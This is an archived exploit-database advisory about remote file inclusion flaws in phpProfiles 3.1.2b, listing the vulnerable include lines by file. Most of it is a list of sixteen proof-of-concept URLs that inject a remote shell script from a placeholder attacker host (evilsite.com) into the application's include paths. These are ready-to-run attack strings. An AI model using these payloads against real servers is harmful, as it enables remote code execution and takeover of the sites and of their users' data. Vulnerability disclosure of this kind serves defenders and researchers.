phpProfiles 3.1.2b - Multiple Remote File Inclusions

Author: nuffsaid
type: webapps
platform: php
port: 
date_added: 2006-12-18 
date_updated: 2016-09-21 
verified: 1 
codes: OSVDB-32376;CVE-2006-6740;OSVDB-32375;OSVDB-32374;OSVDB-32373;OSVDB-32372;OSVDB-32371;OSVDB-32370;OSVDB-32369;OSVDB-32368;OSVDB-32367;OSVDB-32366;OSVDB-32365;OSVDB-32364;OSVDB-32363 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comphpProfiles_3_1_2.zip

+-------------------------------------------------------------------------------------------
+ phpProfiles <= 3.1.2b Multiple Remote File Include Vulnerabilities
+-------------------------------------------------------------------------------------------
+ Affected Software .: phpProfiles <= 3.1.2b
+ Download ..........: http://downloads.sourceforge.net/phpprofiles/phpProfiles_3_1_2.zip
+ Description .......: "phpProfiles allows you to offer visitors their very own URL on your web site simply by registering"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ phpProfiles has several scripts which do not initialize variables before using them to
+ include files, assuming register_globals = on, we can initialize any one of the variables
+ in a query string and include a remote file of our choice.
+
+ Vulnerable Code:
+ include/remove_pic.inc.php line(s) 11: include("$scriptpath/redirect.php");
+ include/body_admin.inc.php line(s) 03: <p><?include("$menu");?></p>
+ include/account.inc.php,   line(s) 09: include("$incpath/footer.inc.php");
+ include/index.inc.php,     line(s) 05: include("$incpath/adminerr.inc.php");
+ ... see below for a list of files affected.
+
+ Proof Of Concept:
+ http://[target]/[path]/include/body.inc.php?menu=http://evilsite.com/shell.php
+ http://[target]/[path]/include/index.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/account.inc.php?action=update&incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/admin_newcomm.inc.php?action=create&incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/header_admin.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/header.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/friends.inc.php?action=invite&incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/menu_u.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/notify.inc.php?action=sendit&incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/body.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/body_admin.inc.php?menu=http://evilsite.com/shell.php
+ http://[target]/[path]/include/body_admin.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/commrecc.inc.php?action=recommend&incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/do_reg.inc.php?incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/comm_post.inc.php?action=post&incpath=http://evilsite.com/shell.php?
+ http://[target]/[path]/include/menu_v.inc.php?incpath=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-19]